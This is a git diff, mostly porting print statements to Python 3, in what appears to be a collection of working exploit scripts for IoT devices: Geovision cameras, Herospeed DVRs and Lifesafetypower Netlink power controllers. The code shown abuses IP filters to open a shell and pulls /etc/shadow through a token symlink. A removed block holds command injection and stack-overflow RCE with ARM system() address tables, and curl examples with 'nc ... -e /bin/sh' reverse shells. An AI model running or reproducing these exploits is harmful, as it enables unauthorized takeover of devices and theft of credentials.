NEW_IP_FILTER: for cnt in range(0,len(response)): if response[cnt] == 'iptables': NEW_IP_FILTER = 0 - print "[i] Remote don't need Enable/Disable" + print("[i] Remote don't need Enable/Disable") break CMD_LEN += 1 who += 1 time.sleep(2) # Seems to be too fast without # NEW Way elif NEW_IP_FILTER: - print "[>] Enabling ipfilter" + print("[>] Enabling ipfilter") self.query_args = { "bPolicy":"1", # 1 = Enable, 0 = Disable "szIpAddr":"", @@ -596,10 +597,10 @@ def FilterSetting(self): response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID) - print "[i] Sleeping..." + print("[i] Sleeping...") time.sleep(5) - print "[>] Disabling ipfilter" + print("[>] Disabling ipfilter") self.query_args = { "szIpAddr":"", "byOpId":"0", @@ -608,7 +609,7 @@ def FilterSetting(self): response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID) for Remove in range(0,4): - print "[>] Deleting ipfilter Entry: {}".format(Remove+1) + print("[>] Deleting ipfilter Entry: {}".format(Remove+1)) self.query_args = { "bPolicy":"0", # 1 = Enable, 0 = Disable "Delete":"Remove", @@ -621,7 +622,7 @@ def FilterSetting(self): # OLD Way else: for Remove in range(0,4): - print "[>] Deleting ipfilter Entry: {}".format(Remove+1) + print("[>] Deleting ipfilter Entry: {}".format(Remove+1)) self.query_args = { "bPolicy":"0", # 1 = Enable, 0 = Disable "Delete":"Remove", @@ -633,8 +634,8 @@ def FilterSetting(self): CMD_LEN = 0 if NEW_IP_FILTER: - print "[i] Last sending" - print "[>] Enabling ipfilter" + print("[i] Last sending") + print("[>] Enabling ipfilter") self.query_args = { "bPolicy":"1", # 1 = Enable, 0 = Disable "szIpAddr":"", @@ -644,10 +645,10 @@ def FilterSetting(self): response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID) - print "[i] Sleeping..." + print("[i] Sleeping...") time.sleep(5) - print "[>] Disabling ipfilter" + print("[>] Disabling ipfilter") self.query_args = { "szIpAddr":"", "byOpId":"0", @@ -656,7 +657,7 @@ def FilterSetting(self): response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID) for Remove in range(0,4): - print "[>] Deleting ipfilter Entry: {}".format(Remove+1) + print("[>] Deleting ipfilter Entry: {}".format(Remove+1)) self.query_args = { "bPolicy":"0", # 1 = Enable, 0 = Disable "Delete":"Remove", @@ -666,16 +667,16 @@ def FilterSetting(self): } response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID) - print "[!] Enjoy the shell... " + print("[!] Enjoy the shell... ") return True except Exception as e: if not NEW_IP_FILTER: - print "[i] Last sending" + print("[i] Last sending") for Remove in range(0,4): - print "[>] Deleting ipfilter Entry: {}".format(Remove+1) + print("[>] Deleting ipfilter Entry: {}".format(Remove+1)) self.query_args = { "bPolicy":"0", # 1 = Enable, 0 = Disable "Delete":"Remove", @@ -684,18 +685,18 @@ def FilterSetting(self): "dwSelIndex":"0", } response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,self.SessionID) - print "[!] Enjoy the shell... " + print("[!] Enjoy the shell... ") return True - print "[!] Hmm... {}".format(e) - print response.read() + print("[!] Hmm... {}".format(e)) + print(response.read()) return True def GeoToken(self): - print "[i] GeoToken PoC to login and download /etc/shadow via token symlink" - print "[!] You must have valid login and password to generate the symlink" + print("[i] GeoToken PoC to login and download /etc/shadow via token symlink") + print("[!] You must have valid login and password to generate the symlink") try: ######################################################################################### @@ -755,14 +756,14 @@ def GeoToken(self): """ # Request remote MD5 token1 - print "[>] Requesting token1" + print("[>] Requesting token1") URI = '/BKCmdToken.php' response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,None,None) result = json.load(response) if verbose: - print json.dumps(result,sort_keys=True,indent=4, separators=(',', ': ')) + print(json.dumps(result,sort_keys=True,indent=4, separators=(',', ': '))) - print "[i] Request OK?: {}".format(result['success']) + print("[i] Request OK?: {}".format(result['success'])) if not result['success']: return False token1 = result['token'] @@ -791,17 +792,17 @@ def GeoToken(self): "filename":filename } - print "[>] Requesting download file link" + print("[>] Requesting download file link") URI = '/BKDownloadLink.cgi' response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,None) response = response.read()#[:900] response = response.replace("'", "\"") result = json.loads(response) - print "[i] Request OK?: {}".format(result['success']) + print("[i] Request OK?: {}".format(result['success'])) if not result['success']: return False if verbose: - print json.dumps(result,sort_keys=True,indent=4, separators=(',', ': ')) + print(json.dumps(result,sort_keys=True,indent=4, separators=(',', ': '))) # @@ -817,14 +818,14 @@ def GeoToken(self): URI = '/ssi.cgi' + result['dl_folder'] + '/' + result['dl_token'] - print "[>] downloading ({}) with ({})".format(filename,URI) + print("[>] downloading ({}) with ({})".format(filename,URI)) response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.raw_request,self.noexploit).Send(URI,self.headers,self.query_args,None) response = response.read() - print response + print(response) return True except Exception as e: - print "[i] GEO Token fail ({})".format(e) + print("[i] GEO Token fail ({})".format(e)) return False @@ -896,10 +897,10 @@ def GeoToken(self): arg_parser.add_argument('--noexploit', required=False, default=False, action='store_true', help='Simple testmode; With --verbose testing all code without exploiting [Default: False]') args = arg_parser.parse_args() except Exception as e: - print INFO,"\nError: {}\n".format(str(e)) + print(INFO,"\nError: {}\n".format(str(e))) sys.exit(1) - print "\n[*]",INFO + print("\n[*]",INFO) if args.verbose: verbose = args.verbose @@ -971,35 +972,35 @@ def GeoToken(self): 'User-Agent':'Mozilla' } - print "[>] Trying to find out my external IP" + print("[>] Trying to find out my external IP") lhost = HTTPconnect("whatismyip.akamai.com",proto,verbose,credentials,False,noexploit).Send("/",headers,None,None) if verbose: - print "[Verbose] Detected my external IP:",lhost + print("[Verbose] Detected my external IP:",lhost) except Exception as e: - print "[<] ",e + print("[<] ",e) sys.exit(1) # Check if RPORT is valid if not Validate(verbose).Port(rport): - print "[!] Invalid RPORT - Choose between 1 and 65535" + print("[!] Invalid RPORT - Choose between 1 and 65535") sys.exit(1) # Check if RHOST is valid IP or FQDN, get IP back rhost = Validate(verbose).Host(rhost) if not rhost: - print "[!] Invalid RHOST" + print("[!] Invalid RHOST") sys.exit(1) # Check if LHOST is valid IP or FQDN, get IP back lhost = Validate(verbose).Host(lhost) if not lhost: - print "[!] Invalid LHOST" + print("[!] Invalid LHOST") sys.exit(1) # Check if RHOST is valid IP or FQDN, get IP back rhost = Validate(verbose).Host(rhost) if not rhost: - print "[!] Invalid RHOST" + print("[!] Invalid RHOST") sys.exit(1) @@ -1007,12 +1008,12 @@ def GeoToken(self): # Validation done, start print out stuff to the user # if args.https: - print "[i] HTTPS / SSL Mode Selected" - print "[i] Remote target IP:",rhost - print "[i] Remote target PORT:",rport + print("[i] HTTPS / SSL Mode Selected") + print("[i] Remote target IP:",rhost) + print("[i] Remote target PORT:",rport) if not args.geotoken and not args.dump and not args.deviceinfo: - print "[i] Connect back IP:",lhost - print "[i] Connect back PORT:",lport + print("[i] Connect back IP:",lhost) + print("[i] Connect back PORT:",lport) rhost = rhost + ':' + rport @@ -1037,7 +1038,7 @@ def GeoToken(self): if GEOtoken: Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).DeviceInfo() if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).GeoToken(): - print "[!] Failed" + print("[!] Failed") sys.exit(1) else: sys.exit(0) @@ -1046,14 +1047,14 @@ def GeoToken(self): if anonymous: if jpegstream: if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).JpegStream(DumpSettings): - print "[!] Failed" + print("[!] Failed") sys.exit(0) elif picturecatch: if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).PictureCatch(DumpSettings): - print "[!] Failed" + print("[!] Failed") sys.exit(0) else: - print "[!] Needed: --anonymous [--picturecatch | --jpegstream]" + print("[!] Needed: --anonymous [--picturecatch | --jpegstream]") sys.exit(1) else: @@ -1063,25 +1064,25 @@ def GeoToken(self): if usersetting: if Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).Login(): if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).UserSetting(DumpSettings): - print "[!] Failed" + print("[!] Failed") sys.exit(0) elif filtersetting: if Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).Login(): if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).FilterSetting(): - print "[!] Failed" + print("[!] Failed") sys.exit(0) elif jpegstream: if Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).Login(): if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).JpegStream(DumpSettings): - print "[!] Failed" + print("[!] Failed") sys.exit(0) elif picturecatch: if Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).Login(): if not Geovision(rhost,proto,verbose,credentials,raw_request,noexploit,headers,SessionID).PictureCatch(DumpSettings): - print "[!] Failed" + print("[!] Failed") sys.exit(0) else: - print "[!] Needed: --usersetting | --jpegstream | --picturecatch | --filtersetting" + print("[!] Needed: --usersetting | --jpegstream | --picturecatch | --filtersetting") sys.exit(1) sys.exit(0) diff --git a/Herospeed-TelnetSwitch.py b/Herospeed-TelnetSwitch.py index d5b5c0a..453d416 100644 --- a/Herospeed-TelnetSwitch.py +++ b/Herospeed-TelnetSwitch.py @@ -11,6 +11,7 @@ # # Author: bashis , 2018 # +from __future__ import print_function import socket import select import sys @@ -86,10 +87,10 @@ def Host(self,HOST): arg_parser.add_argument('--rport', required=False, help='Remote Target HTTP/HTTPS Port [Default: '+ str(rport) +']') args = arg_parser.parse_args() except Exception as e: - print INFO,"\nError: {}\n".format(str(e)) + print(INFO,"\nError: {}\n".format(str(e))) sys.exit(1) - print INFO + print(INFO) if args.rport: rport = int(args.rport) @@ -99,13 +100,13 @@ def Host(self,HOST): # Check if RPORT is valid if not Validate(True).Port(rport): - print "[!] Invalid RPORT - Choose between 1 and 65535" + print("[!] Invalid RPORT - Choose between 1 and 65535") sys.exit(1) # Check if RHOST is valid IP or FQDN, get IP back rhost = Validate(True).Host(rhost) if not rhost: - print "[!] Invalid RHOST" + print("[!] Invalid RHOST") sys.exit(1) timeout = 5 @@ -165,7 +166,7 @@ def Host(self,HOST): # for where in range(0, len(PASSWD)): OUT = "GET / HTTP/1.0\nAuthorization: Basic {}{}\n\n".format(MESSAGE,struct.pack('?"\n_&;/ ]',self.response) - - for check in range(0,len(self.response)): - if self.response[check] == 'csrftoken' and self.response[check+8] == 'value=': - self.csrftoken = self.response[check+9] - print "[i] csrftoken: {}".format(self.csrftoken) - break - - # - # lifesafetypower way to have MD5 random Login and Password - # - hash0 = hashlib.md5(self.credentials.split(":")[0] + ":FlexPower_System_Manager:" + self.credentials.split(":")[1]).hexdigest().lower() - hash1 = hashlib.md5(hash0 + self.csrftoken).hexdigest().lower() - - # - # Login - # - print "[>] Logging in" - - query_args = { - "loginname":self.credentials.split(":")[0], - "ha1":hash1, - "password":"", - "chkRememberPwd":"on", - "submit1":"Login", - "csrftoken":self.csrftoken} - - try: - URI = '/index.cgi' - self.response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.Raw).Send(URI,headers,query_args,self.Cookie,True) - self.Cookie = self.response.info().get('Set-Cookie') - self.response = self.response.read() - self.response = re.split('[()<>?"\n_&;/= ]',self.response) - - for check in range(0,len(self.response)): - if self.response[check] == 'csrftoken': - self.csrftoken = self.response[check+1] - print "[i] csrftoken: {}".format(self.csrftoken) - if not self.csrftoken: - print "[!] Login failed (missing csrftoken)" - sys.exit(1) - break - - except Exception as e: - print "[!] Login failed ({})".format(e) - - return self.Cookie, self.csrftoken - - # - # Access: Authenticated - # - def Add_RCE_msmtp(self,csrftoken,response,headers,Cookie,RCE): - self.csrftoken = csrftoken - self.response = response - self.headers = headers - self.Cookie = Cookie - self.RCE = RCE - - print "[>] Adding 'msmtp' RCE" - - # - # RCE: Configure -> Sender SMTP Server - # - query_args = { - "ss28":"rce@lifesafetypower.com", - "ss29":self.RCE, - "submit70":"", - "csrftoken":self.csrftoken - } - - try: - - URI = '/mainconfigure.cgi' - self.response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.Raw).Send(URI,headers,query_args,self.Cookie,True) - # - # Normally we get next valid 'csrftoken' now, but due to RCE and timeout we will never see next valid 'csrftoken' - # - print "[!] RCE Failed!!" - - except Exception as e: - print "[*] RCE Successfull ({})".format(e) - - return self.Cookie, self.csrftoken - - # - # Access: Authenticated - # - def Del_RCE_msmtp(self,csrftoken,response,headers,Cookie): - self.csrftoken = csrftoken - self.response = response - self.headers = headers - self.Cookie = Cookie - - print "[>] Delete 'msmtp RCE" - - query_args = { - "ss28":"NULL", - "ss29":"", - "submit7":"", - "csrftoken":self.csrftoken - } - - try: - - URI = '/mainconfigure.cgi' - self.response = HTTPconnect(self.rhost,self.proto,self.verbose,self.credentials,self.Raw).Send(URI,headers,query_args,self.Cookie,True) - self.response = self.response.read() - self.response = re.split('[()<>?"\n_&;/= ]',self.response) - - for check in range(0,len(self.response)): - if self.response[check] == 'csrftoken': - self.csrftoken = self.response[check+1] - print "[i] csrftoken: {}".format(self.csrftoken) - break - - print "[*] Delete RCE Successfull" - - except Exception as e: - print "[!] Delete RCE Failed!! ({})".format(e) - - return self.Cookie, self.csrftoken - - # - # Access: Anonymous - # - # Combining two different stack overflow in two different CGI - # - # Abusing 'X-Sendfile: /tmp/%s' with stack overflow - # - # This code will try copy and download /tmp/allcfg.bin - # - # Actually, if the strstr() in the .cgi will find 'allcfg.bin', it will not continue - so we need to do a small trick here. - # 1. Send '%2561llcfg.bin' that will pass over to the .cgi, the .cgi will decode to '%61llcfg.bin', and when it send back this string to Apache, - # Apache will decode '%61' to 'a' and we have the real name 'allcfg.bin' to be sent. - # 2. Exacly after the string 'allcfg.bin', the .cgi will place one NULL character - # 3. The filler needs to be '/' (can also be './'), since we cannot get out from '/tmp' - # 4. In the end, 'mod_xsendfile.so' catch this and will happily send the 'allcfg.bin' with all config and username/password/hashes - # - # The 'allcfg.bin' has the password both in clear text and in MD5 hash format - # - def Get_allcfg(self,headers): - self.headers = headers - - - # - # Let make sure that '/tmp/allcfg.bin' will be there by using stack overflow to jump for this code - # - #.text:0000BCC4 LDR R0, =aCpRMnt1CfgAllc ; "cp -r /mnt/1/cfg/allcfg /tmp/allcfg.bi"... - #.text:0000BCC8 BL system - #.text:0000BCCC LDR R0, =aChmod777TmpAll ; "chmod 777 /tmp/allcfg.bin" - #.text:0000BCD0 BL system - - URI = '/mainconfigure.cgi?' - URI += self.random_string(2028) - URI += '%c4%bc%00%00' - - print "[>] Trying to copy 'allcfg.bin'" - try: - response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,headers,None,None,False) - print "[!] Copy of 'allcfg.bin' failed!! ({})".format(response.code) - except Exception as e: - if e.code == '500': - print "[!] Copy of 'allcfg.bin' OK!! ({})".format(e) - - print "[>] Trying to get 'allcfg.bin'" - - URI = '/authorization.cgi?csrftoken=' + "/" * 316 - URI += '%2561llcfg.bin' -# URI += "Q" * 173 - URI += self.random_string(173) - # - # We jumping to '0x000095b8', R0 will point somewhere into the '//' filler at the stack. - # - #.text:000095B8 ADD R0, SP, #0xA18+var_188 - #.text:000095BC ADD R0, R0, #0xC ; haystack - #.text:000095C0 LDR R1, =aAllcfgBin ; "allcfg.bin" - #.text:000095C4 BL strstr - - URI += struct.pack('] Trying to execute 'hash_key' RCE" - - RCE = "nc LHOST LPORT -e /bin/sh" - RCE = RCE.replace("LHOST",self.lhost).replace("LPORT",self.lport) - - headers = { - 'Pwn': RCE, - 'Cookie':'right=3; hash_key=$($HTTP_PWN)', - 'User-Agent':'Chrome/5.0' - } - - URI = '/index.cgi' - - try: - response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,headers,None,None,True) - print "[*] RCE Failed!" - - except Exception as e: - print "[*] RCE Successfull ({})".format(e) - return True - - return - - - # - # Access: Anonymous - # - # Execute RCE via stack overflow - # R12 point to 'Host:' - # - #.text:000097A0 MOV R5, R12 - #.text:000097A4 LDMIA R5!, {R0-R3} ; "rm -rf /tmp/sess_" - #.text:000097A8 MOV R4, SP - #.text:000097AC STMIA R4!, {R0-R3} - #.text:000097B0 LDRH R5, [R5] ; "_" - #.text:000097B4 MOV R1, R7 ; src - #.text:000097B8 MOV R0, SP ; dest - #.text:000097BC STRH R5, [R4] - #.text:000097C0 BL strcat - #.text:000097C4 MOV R0, SP ; command - #.text:000097C8 BL system - - # - # R0 loads with address: 0x7EFFF4A8 - # - # Stackdump - #7EFFF4A0 41 41 41 0A A0 97 00 00 24 28 6E 63 20 31 39 32 AAA.....$(nc 192 - #7EFFF4B0 2E 31 36 38 2E 35 37 2E 31 20 02 24 28 6E 63 20 .168.57.1 .$(nc - #7EFFF4C0 31 39 32 2E 31 36 38 2E 35 37 2E 31 20 34 34 34 192.168.57.1 444 - #7EFFF4D0 34 20 2D 65 20 2F 62 69 6E 2F 73 68 26 29 29 00 4 -e /bin/sh&)). - #7EFFF4E0 98 F4 FF 7E 41 41 41 41 41 41 41 41 41 41 41 41 .....AAAAAAAAAAA - - def v715_rce(self,headers, lhost, lport): - self.headers = headers - self.lhost = lhost - self.lport = lport - - print "[>] Trying to execute v7.15 RCE" - - RCE = "$(nc LHOST LPORT -e /bin/sh&))" # Correct, two '))', as the system() will try to execute '$(nc LHOST $(nc LHOST LPORT -e /bin/sh&))' - RCE = RCE.replace("LHOST",self.lhost).replace("LPORT",self.lport) - - headers = { - 'Content-Type' : 'application/x-www-form-urlencoded', - 'Connection':' close', - 'Host': RCE, - 'User-Agent':'Chrome/5.0' - } - - URI = '/index.cgi' - - RCE = self.random_string(2039) - RCE += struct.pack('] Trying to verify remote target" - - creds = 'NULL:NULL' - - try: - URI = '/psia/' - response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,headers,None,None,True) - Authenticate = response.info().get('WWW-Authenticate') - if Authenticate: - Authenticate = Authenticate.split('"') - for check in range(0,len(Authenticate)): - if Authenticate[check] == 'FlexPower_System_Manager': - Netlink = True - else: - print "[!] Remote seems not to be Netlink!!" - sys.exit(1) - else: - print "[!] Remote seems not to be Netlink!!" - sys.exit(1) - - except Exception as e: - if e.code == 401: - Server = e.info().get('Server') - Authenticate = e.info().get('WWW-Authenticate').split('"') - - for check in range(0,len(Authenticate)): - if Authenticate[check] == 'FlexPower_System_Manager': - Netlink = True - else: - print "[!] Remote seems not to be Netlink!! ({})".format(e) - sys.exit(1) - if Netlink and Server: - print "[i] Remote using Apache Web Server" - return True # Version 8.x (Apache Web Server) - elif Netlink and not Server: - print "[i] Remote using Mongoose Web Server" - return False # Version 7.x (Mongoose Web Server) - else: - print "[!] Remote seems not to be Netlink!! ({})".format(e) - sys.exit(1) - - # - # Access: Anonymous - # - # Check remote firmware version - # - def Get_Version(self,headers, lhost, lport): - self.headers = headers - self.lhost = lhost - self.lport = lport - - print "[>] Trying to get remote firmware version" - - headers = { - 'Referer':' navi.cgi?csrftoken=', - 'Cookie':' right=3; hash_key=kwitfbcuvnnxdjyp; viewnavi=yes', - 'User-Agent':'Chrome/5.0' - } - - try: - URI = '/navi.cgi' - response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,headers,None,None,True) - response = re.split('[()<>?"\n_&;/= ]',response.read()) - for check in range(0,len(response)): - if response[check] == 'Ver:': - Version = response[check+1] - print "[i] Remote is: Netlink NL2/NL4 Version: {}".format(Version) - - except Exception as e: - print "[!] Wrong!! ({})".format(e) - - return - - - # - # Access: Anonymous - # - # We can control where in filesystem to write and filename, but not the content of the file. - # Ok to check if remote target is vulnerable or not. - # - # The tag 'loginname' suffers from stack overflow, so we need to put a NULL character at the end to avoid random chars from stack tailing the filename - # - def Check_Vulnerable(self,headers, lhost, lport, server): - self.headers = headers - self.lhost = lhost - self.lport = lport - self.server = server - - print "[>] Checking if remote target is vulnerable" - - headers = { - 'User-Agent':'Chrome/5.0' - } - - VULNERABLE_FILE = '/CHECK' - - # We need to put one NULL at end! (Don't work with more %00... :/ ) - if self.server: - Payload = "submit1=&password=&loginname=../../../2/apache/htdocs" + VULNERABLE_FILE + '%00' - else: - Payload = "submit1=&password=&loginname=../../../2/web/" + VULNERABLE_FILE + '%00' - try: - print "[>] Trying to create our file" - URI = '/index.cgi' - response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,headers,Payload,None,False) - if response.code == 200: - print "[>] Checking if we could create remote file" - URI = VULNERABLE_FILE - response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,headers,Payload,None,False) - if response.code == 200: - return True - except Exception as e: - # might give some false positive.. - if str(e) == "timed out" or str(e) == "('The read operation timed out',)": - print "[!] Timeout! Should not happen, assume remote is vulnerable..." - return True - else: - return False - # - # - # Simple function to split up a hex address (0xbaadbeef), split this up, URL 'encode' and reverese to Little Endian. - # - # - def URL_Encode_LE(self, hex): - self.hex = hex - - self.hex = self.hex[2:] - self.hex = self.hex .zfill(len(self.hex ) + len(self.hex ) % 2) - self.hex = ' '.join(self.hex [i: i+2] for i in range(0, len(self.hex ), 2)) - self.hex = self.hex .split() - - SH0 = '%{:02x}'.format((int(self.hex [0],16))) - SH1 = '%{:02x}'.format((int(self.hex [1],16))) - SH2 = '%{:02x}'.format((int(self.hex [2],16))) - SH3 = '%{:02x}'.format((int(self.hex [3],16))) - - URL_LE = ''.join('{}{}{}{}'.format(SH3,SH2,SH1,SH0)) - - return URL_LE - # - # Small function to return N in random chars - # - def random_string(self,length): - self.length = length - -# return 'A' * self.length - return ''.join(random.choice(string.lowercase) for i in range(self.length)) - - # - # Access: Anonymous - # - # This buffer overflow (stack based) vulnerability exist in earlier version of Firmware as well. - # However, PoC are made only for latest version! - # - # The vulnerability exist in the function which decoding URL encoded characters, and will check thru whole input string and decode, - # usally used quite early and before any validation has been done. - # 2032 bytes input after decoding will owerwrite RET, R0 has address to decoded string, perfect for jumping to system() - # - # Most binaries are vulnerable with simple GET call, but few are vulnerable with POST. - # - # Very simple and reliable exploitation. - # - # Since there is sh1tload of system() pooped around in the binaries, I thought it would be fun to include all vulnerable binaries into - # a random selection of CGI binary and random selection of system() (You're welcome) - # - # - # Simple curl examples - # - # GET - # curl "http://192.168.57.20/BTM_1.cgi?$(echo -en "nc%20192.168.57.1%204444%20-e/bin/sh")%00%23`for((i=0;i<1996;i++));do echo -en "B";done`%8c%31%01%00" -H "Cookie: viewnavi=yes; right=1" - # - # POST - # curl "http://192.168.57.20/index.cgi" -H "Cookie: viewnavi=yes; right=1" -d "$(echo -en "nc%20192.168.57.1%204444%20-e/bin/sh")%00`for((i=0;i<1997;i++));do echo -en "B";done`%c0%93%00%00" - - def URI_Decoder_RCE(self,headers, lhost, lport): - self.headers = headers - self.lhost = lhost - self.lport = lport - - headers = { - 'User-Agent':'Chrome/5.0', - 'Cookie':'viewnavi=yes; right=1' # Needed - } - - # - # All vulnerable CGI binaries, and their addresses to system() - # - target_db = { - # - # GET - # - 'BTM_1.cgi': [ - '0x00009424', # system() - '0x0000942C', # system() - '0x00009434', # system() - '0x00009460', # system() - '0x00009468', # system() - '0x00009470', # system() - '0x00009480', # system() - '0x0000948C', # system() - '0x00012128', # system() - '0x00012384', # system() - '0x0001292C', # system() - '0x00012BE4', # system() - '0x00012C88', # system() - '0x00012D14', # system() - '0x00012D9C', # system() - '0x00012E20', # system() - '0x00012EB8', # system() - '0x00012F50', # system() - '0x00012FE8', # system() - '0x0001318C', # system() - '0x000132A8', # system() - '0x000137A0' # system() -# '0x000115A0' # popen() - ], - 'BTM_2.cgi': [ - '0x00009424', # system() - '0x0000942C', # system() - '0x00009434', # system() - '0x00009460', # system() - '0x00009468', # system() - '0x00009470', # system() - '0x00009480', # system() - '0x0000948C', # system() - '0x00012084', # system() - '0x000122E0', # system() - '0x00012888', # system() - '0x00012B40', # system() - '0x00012BE4', # system() - '0x00012C70', # system() - '0x00012CF8', # system() - '0x00012D7C', # system() - '0x00012E14', # system() - '0x00012EAC', # system() - '0x00012F44', # system() - '0x000130E8', # system() - '0x00013204', # system() - '0x000136FC' # system() -# '0x000114FC' # popen() - ], - 'getxml.cgi': [ - '0x00015AE8', # system() - '0x00015D44', # system() - '0x000162EC', # system() - '0x000165A4', # system() - '0x00016648', # system() - '0x000166D4', # system() - '0x0001675C', # system() - '0x000167E0', # system() - '0x00016878', # system() - '0x00016910', # system() - '0x000169A8', # system() - '0x00016B4C', # system() - '0x00016C68', # system() - '0x00017160' # system() -# '0x00014F60' # popen() - ], - 'authorization.cgi': [ - '0x0000EE04', # system() - '0x0000F060', # system() - '0x0000F608', # system() - '0x0000F8C0', # system() - '0x0000F964', # system() - '0x0000F9F0', # system() - '0x0000FA78', # system() - '0x0000FAFC', # system() - '0x0000FB94', # system() - '0x0000FC2C', # system() - '0x0000FCC4', # system() - '0x0000FE68', # system() - '0x0000FF84', # system() - '0x0001047C' # system() -# '0x0000E27C' # popen() - ], - 'mainconfigure.cgi': [ - '0x0000A568', # system() - '0x0000A5F4', # system() - '0x0000A694', # system() - '0x0000A704', # system() - '0x0000A798', # system() - '0x0000A804', # system() - '0x0000A86C', # system() - '0x0000BCC8', # system() - '0x0000BCD0', # system() - '0x0000DD4C', # system() - '0x0000DD78', # system() - '0x0000E078', # system() - '0x0000E34C', # system() - '0x0000E568', # system() - '0x0000E73C', # system() - '0x0000E8E8', # system() - '0x0000EA80', # system() - '0x0000ED00', # system() - '0x0000ED70', # system() - '0x0000F5C4', # system() - '0x0000F794', # system() - '0x0000F978', # system() - '0x0000F9B8', # system() - '0x0001237C', # system() - '0x00012384', # system() - '0x000124DC', # system() - '0x0001BA70', # system() - '0x0001BB24', # system() - '0x0001C6B8', # system() - '0x0001C6F0', # system() - '0x0001C718', # system() - '0x0001EA44', # system() - '0x0001F468', # system() - '0x0001F470', # system() - '0x0001F938', # system() - '0x0001F944', # system() - '0x0001F950', # system() - '0x0001F95C', # system() - '0x0001F968', # system() - '0x0001F974', # system() - '0x0001F980', # system() - '0x0001F98C', # system() - '0x0001F998', # system() - '0x0001F9A4', # system() - '0x0001F9B0', # system() - '0x0001F9BC', # system() - '0x0001F9C8', # system() - '0x0001F9D4', # system() - '0x0001F9E0', # system() - '0x0001F9EC', # system() - '0x0001F9F8', # system() - '0x0001FA04', # system() - '0x0001FA10', # system() - '0x0001FA1C', # system() - '0x0001FA28', # system() - '0x0001FA34', # system() - '0x0001FA40', # system() - '0x0001FA4C', # system() - '0x0001FA58', # system() - '0x0001FA64', # system() - '0x0001FA70', # system() - '0x00025680', # system() - '0x000258DC', # system() - '0x00025E84', # system() - '0x0002613C', # system() - '0x000261E0', # system() - '0x0002626C', # system() - '0x000262F4', # system() - '0x00026378', # system() - '0x00026410', # system() - '0x000264A8', # system() - '0x00026540', # system() - '0x000266E4', # system() - '0x00026800', # system() - '0x00026CF8' # system() -# '0x0001B9CC' # popen() -# '0x00024AF8' # popen() - ], - 'setctl.cgi': [ - '0x00009108', # system() - '0x00009160', # system() - '0x000091C8', # system() - '0x00009230', # system() - '0x0000947C' # system() -# '0x0000F0FC' # popen() - ], - # - # POST - # - 'index.cgi': [ - '0x000093C0', # system() - '0x00009C6C', # system() - '0x00009ED4', # system() - '0x00009EDC', # system() - '0x00009EE4', # system() - '0x0000A028', # system() - '0x0000A534', # system() - '0x0000A608', # system() - '0x0000A78C', # system() - '0x0000A7B8', # system() - '0x0000A9A0', # system() - '0x0000B04C', # system() - '0x00011E00', # system() - '0x0001205C', # system() - '0x00012604', # system() - '0x000128BC', # system() - '0x00012960', # system() - '0x000129EC', # system() - '0x00012A74', # system() - '0x00012AF8', # system() - '0x00012B90', # system() - '0x00012C28', # system() - '0x00012CC0', # system() - '0x00012E64', # system() - '0x00012F80', # system() - '0x00013478' # system() -# '0x00011278', # popen() - ] - - } - - # - # random stuff to select CGI target and random system() call - # - CGI_random = randint(0, len(target_db)-1) - CGI = target_db.keys()[CGI_random] - - SYSTEM_random = randint(0, len(target_db[CGI])-1) - - URL_SYSTEM = self.URL_Encode_LE(target_db[CGI][SYSTEM_random]) - - print "[i] Random CGI: {}, system(): {} Encoded: {}".format(CGI,target_db[CGI][SYSTEM_random],URL_SYSTEM) - - try: - - URI = '/' - URI += CGI - if not CGI == 'index.cgi': - URI += '?' - - RCE = 'nc%20LHOST%20LPORT%20-e/bin/sh&%00' # fork() + NULL char #32 - RCE = RCE.replace("LHOST",self.lhost).replace("LPORT",self.lport) - RCE += self.random_string(2028 - (len(RCE) -8)) # -8 for the URL encoded chars - RCE += URL_SYSTEM - - if CGI == 'index.cgi': - # POST - response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI,headers,RCE,None,False) - else: - # GET - response = HTTPconnect(rhost,proto,verbose,creds,raw_request).Send(URI + RCE,headers,None,None,False) - - - print response - except Exception as e: -# print e.info(), e.info().get('Content-Length') - if e.code == 500 and e.info().get('Content-Length') == '542': - print "[*] Should be OK" - - return + def __init__(self, rhost, proto, verbose, creds, Raw): + self.rhost = rhost + self.proto = proto + self.verbose = verbose + self.credentials = creds + self.Raw = Raw + + # + # 